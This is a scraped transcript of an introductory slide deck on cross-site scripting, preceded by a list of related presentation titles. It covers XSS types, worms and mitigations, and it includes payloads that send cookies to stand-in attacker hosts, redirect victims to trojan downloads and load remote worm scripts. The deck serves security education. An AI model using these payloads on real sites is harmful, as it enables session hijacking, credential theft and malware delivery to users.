XSS 101 Jason Clark 12/20.

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Cross-Site Scripting CSCD 498/539 Secure Coding Principles Amazing Legion of Fuzzy Backdoor Intruder Worms Bryan Smith Allen Greaves Zach Moore Rebecca.
Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
Team Members: Brad Stancel,
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
March Intensive: XSS Exploits
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Copyright© 2002 Avaya Inc. All rights reserved Advanced Cross Site Scripting Evil XSS Anton Rager.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
1 All Your iFRAMEs Point to Us Mike Burry. 2 Drive-by downloads Malicious code (typically Javascript) Downloaded without user interaction (automatic),
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
1 Internet Browsing Vulnerabilities and Security ECE4112 Final Lab Ye Yan Frank Park Scott Kim Neil Joshi.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Web Applications Testing By Jamie Rougvie Supported by.
Crash Course in Web Hacking
An Intro to Webhackery Parisa Tabriz. How the web was born Stage 1 : Network Protocols Stage 2 : HTTP Stage 3 : Server Side Scripting Stage 4 : Client.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
Module: Software Engineering of Web Applications Chapter 3 (Cont.): user-input-validation testing of web applications 1.
EECS 354: Network Security Group Members: Patrick Wong Eric Chan Shira Schneidman Web Attacks Project: Detecting XSS and SQL Injection Vulnerabilities.
Introduction of XSS:-- Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted.
Web Applications on the battlefield Alain Abou Tass.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
Javascript worms By Benjamin Mossé SecPro
Google’s Gruyere1 : An XSS Example Presented by: Terry Gregory
Group 18: Chris Hood Brett Poche
Web Application Security
Module: Software Engineering of Web Applications
Building Secure ColdFusion Applications
CSCE 548 Student Presentation Ryan Labrador
Module: Software Engineering of Web Applications
TOPIC: Web Security (Part-4)
CS 371 Web Application Programming
Cookies Cross site scripting
Web Applications Security XSS
Cross Sight scripting: Type-2
PHP / MySQL Introduction
CSC 495/583 Topics of Software Security Intro to Web Security
Web Security Advanced Network Security Peter Reiher August, 2014
Lecture 2 - SQL Injection
CSC 482/582: Computer Security
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Advanced Cross Site Scripting Evil XSS
Exploring DOM-Based Cross Site Attacks
Web Application Development Using PHP
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Mike Ter Louw, V.N. Venkatakrishnan University of Illinois at Chicago
Presentation transcript:

XSS 101 Jason Clark 12/20

XSS Explained XSS Types XSS “Fingerprinting” What can you do with XSS? XSS Examples Mitigating XSS (Basics and Fortinet)

XSS Explained Web app vulnerability that allows code injection and cross site commands Java, php, cgi, asp, html, dhtml i.e. JavaScript provides the ability to create an iframe within a site thus allowing cross site commands Attack takes advantage of the way HTML code is interpreted by browser Majority of sites do not filter user input i.e. encoding ‘spaces’, #, <, >, XSS characters such as ; “ { (within <script tags) Typically involves “social engineering” Spoofed email with encoded malicious URL XSS security is commonly overlooked due to lack of impact on Server XSS can be completely transparent to client Common and evasive attack due to client side vulnerability i.e. does not directly attack vulnerable web server

XSS Explained Myths XSS always involves “crossing sites” i.e. web defacement, crafted URLs i.e. iframes populated with legit websites User needs to actively select link or URL XSS attacks can be exploited via HTML emails, message boards, guestbooks... Using ‘onmouseover’ users only need to move the mouse over an active link <a href="mailto:xss@xss.com" onmouseover="alert('testing');">XSS</a> Using window.onload scripts may be executed by simply viewing an email or web page <a href="http://cnn.com" window.onload="alert(‘document.cookie');“>cnn.com</a> <script>document.location="http://attacker.com/trojan.exe";</script>

XSS Explained XSS Types XSS “Fingerprinting” What can you do with XSS? XSS Examples Mitigating XSS (Basics and Fortinet)

DOM Based Document Object Model DOM Based XSS API which defines how documents are structured and accessed i.e. allows XML to be presented as a document on various systems Defines cross domain controls (scripts may not be run across domains, except local zone) DOM Based XSS Code is not submitted to web server (in most cases) RSS pages, InetE local pages, Also referred to as client-side XSS Bypasses client-side sandbox Difficult to detect (and secure) http://example.com#evil_code

DOM Based Example Attacker chooses a vulnerable web page on a victim host IE7 navcancl.htm design flaw Attacker crafts a link which exploits navcancl.htm res://ieframe.dll/navcancl.htm#http://www.google.com/_____<alter.navcancl.htm> res://ieframe.dll/navcancl.htm#http://192.168.1.22/skype/skypeshutdown.html Or simply http://google.com#<script> Note: all code after the fragment ‘#’ does not get submitted to server XSS’d! - Attacker now has the ability to execute arbitrary code on behalf of user

DOM Based Example Attacker chooses a vulnerable web page on a victim host IE7 navcancl.htm design flaw Attacker crafts a link which exploits navcancl.htm res://ieframe.dll/navcancl.htm#http://www.google.com/_____<alter.navcancl.htm> res://ieframe.dll/navcancl.htm#http://192.168.1.22/skype/skypeshutdown.html Or simply http://google.com#evil_code Note: all code after the fragment ‘#’ does not get submitted to server XSS’d! - Attacker now has the ability to execute arbitrary code on behalf of user

Non-Persistent XSS non-persistent Most common XSS attack Attacker typically needs to supply crafted URL to victim http://legitsite.com/search=<script>document.location="http://attacksite/trojan.exe";</script> Client data is processed by server-side scripting i.e. server embeds <script> to web page which is executed by client browser Vulnerable pages will display data without encoding HTML or filtering i.e. search engines which display key word search back to user Search engines, forms…

Non-Persistent XSS Example Attacker determines vulnerable non-persistent site <script>alert('testing');</script> <a href="mailto:xss@xss.com" onmouseover="alert('testing');">XSS</a> Attacker crafts a malicious link to site containing instruction script Malicious link is encoded to look “friendly” Malicious link is sent to end user via email with intriguing title Depending on end user security settings user either clicks on link or “auto load” Web server/application executes malicious javascript Stolen cookies Session hijacking Attacker essentially has “rights” of victim

Non-Persistent XSS Example Attacker determines vulnerable non-persistent site <script alert(XSS)</script> Attacker crafts a malicious link to site containing instruction script Malicious link is encoded to look “friendly” Malicious link is sent to end user via email with intriguing title Depending on end user security settings user either clicks on link or “auto load” Web server/application executes malicious javascript Stolen cookies Session hijacking Attacker essentially has “rights” of victim

Persistent XSS Persistent Most devastating and furthest reaching attack Typically exploited by allowed (unfiltered) HTML injections Similar to non-persistant XSS though no need to provide crafted URL to victim Unlimited code execution Vulnerable message board would typically allow all html tags User data is stored in a web db or file system i.e guest books, messages boards w/o encoding, May be used to distribute XSS Viruses

Persistent XSS Example Attacker determines site vulnerable to Persistent XSS Ideally attacker is looking for a high traffic message board Attacker posts a controversial message with expectation of multiple views i.e. “Fortinet announces S1 filing click here to read more” Or Attacker uses window.onload function so script is executed on view Victim selects link in message board post, or simply views page with active code XSS’d! – at this point various payload functions can be performed Cookie stealing, Trojan download, key logging, XSS Worm propagation <img src=“javascript:document.location(‘http://attacksrv/cookies.php’= . (document.cookie));”>

XSS Worms SCRAPE Utilize external engines to identify victims such as xssed.com or search engines Attacker creates dynamic scripts which parses xssed.com, extracts attack vector info, then propagates XSS worm via victim sites SPECIFIC Typically targets specific victims Purpose is to remain on the target propagating within a single server or app i.e. Samy XSS worm (MySpace XSS worm) GENERIC No specific target application Exploits generalized variables Example

XSS Worms Example Attacker posts a link to a vulnerable high traffic web forum (say 1.0.0.1) Java or php scripts utilizes hidden iframe which executes <script src=attackersite/worm.js</script> Script contains target iframe of 1.0.0.0/8 as well as get_random for running through remainder of subnet (exploiting vulnerable sites) Note: there is a little more to this such as http://” + address +”/index.php Random address is inserted in address and index.php will (hopefully) be resident At this point each time the page is viewed script is executed which in turn runs through entire class A subnet prorogating XSS worm/virus

XSS Explained XSS Types XSS “Fingerprinting” What can you do with XSS? XSS Examples Mitigating XSS (Basics and Fortinet)

Determining Vulnerable Sites Public Sites www.xssed.com Scanners Nikto Too many too mention… Scripts Use on search boxes, forms, web accounts, bank logins <script>alert(‘xsstesting');</script> FireFox XSS ME Tamper Data Many more…

XSS Explained XSS Types XSS “Fingerprinting” What can you do with XSS? XSS Examples Mitigating XSS (Basics and Fortinet)

What now What can I do with XSS? Tools Cookie theft Session riding/hijacking (CSRF) False advertisements/Free advertising Hit stealing Identity theft Web page defacement XSS worm propagation Tools BeEF XSS-Proxy Backframe Java, php, cgi, html, etc

XSS Explained XSS Types XSS “Fingerprinting” What can you do with XSS? XSS Examples/Tools Mitigating XSS (Basics and Fortinet)

XSS Examples and Tools Scripts Tools <script>document.location="http://attacksite/trojan.exe";</script> <script> alert(document.cookie) </script> <a href=mailto:email@xss.com onmouseover="alert('Hacked');“>email@xss</a> <a href="javascript: src="http://192.168.1.22:2000/xss2.js">testlink</a> res://ieframe.dll/navcancl.htm#http://192.168.1.22/skype/skypeshutdown.html about:cancel#http://anysite/");alert(“Hacked");// <iframe src=http://attacksite.com/script.html> Tools BeEF XSS-Proxy Backframe Java, perl, cgi, html, etc…

XSS Examples and Tools Scripts Tools <script>document.location="http://attacksite/trojan.exe";</script> <script> alert(document.cookie) </script> <a href=mailto:email@xss.com onmouseover="alert('Hacked');“>email@xss</a> <a href="javascript: src="http://192.168.1.22:2000/xss2.js">testlink</a> res://ieframe.dll/navcancl.htm#http://192.168.1.22/skype/skypeshutdown.html about:cancel#http://anysite/");alert(“Hacked");// <iframe src=http://attacksite.com/script.html> Tools BeEF XSS-Proxy Backframe Java, perl, cgi, html, etc…

XSS Examples and Tools Scripts Tools <script>document.location="http://attacksite/trojan.exe";</script> <script> alert(document.cookie) </script> <a href=mailto:email@xss.com onmouseover="alert('Hacked');“>email@xss</a> <a href="javascript: src="http://192.168.1.22:2000/xss2.js">testlink</a> res://ieframe.dll/navcancl.htm#http://192.168.1.22/skype/skypeshutdown.html about:cancel#http://anysite/");alert(“Hacked");// <iframe src=http://attacksite.com/script.html> Tools BeEF XSS-Proxy Backframe Java, perl, cgi, html, etc…

XSS Explained XSS Types Determining Vulnerable Sites What can you do with XSS? XSS Examples/Tools Mitigating XSS (Basics and Fortinet)

Mitigating XSS Input Filtering Allow only expected/necessary user input Web Application Firewalls – Feature Request  Fortigate! Antivirus – known XSS worms, phishing emails Antispam – Potential phishing emails JavaScript control – block <script> functions Fortiguard Web Filtering – block known malicious sites Intrusion Prevention XSS Signatures Custom signatures for user filtering End user controls Enforcing browser security Patch management Keeping browser /OS patches up-to-date Forticlient! – web, av, ips, antispam, anti-grayware

The End Disclaimer: This presentation is meant to educate the security professional in hopes of creating awareness of Cross Site Scripting. I am not responsible for any scripts contained or the use thereof within this documentation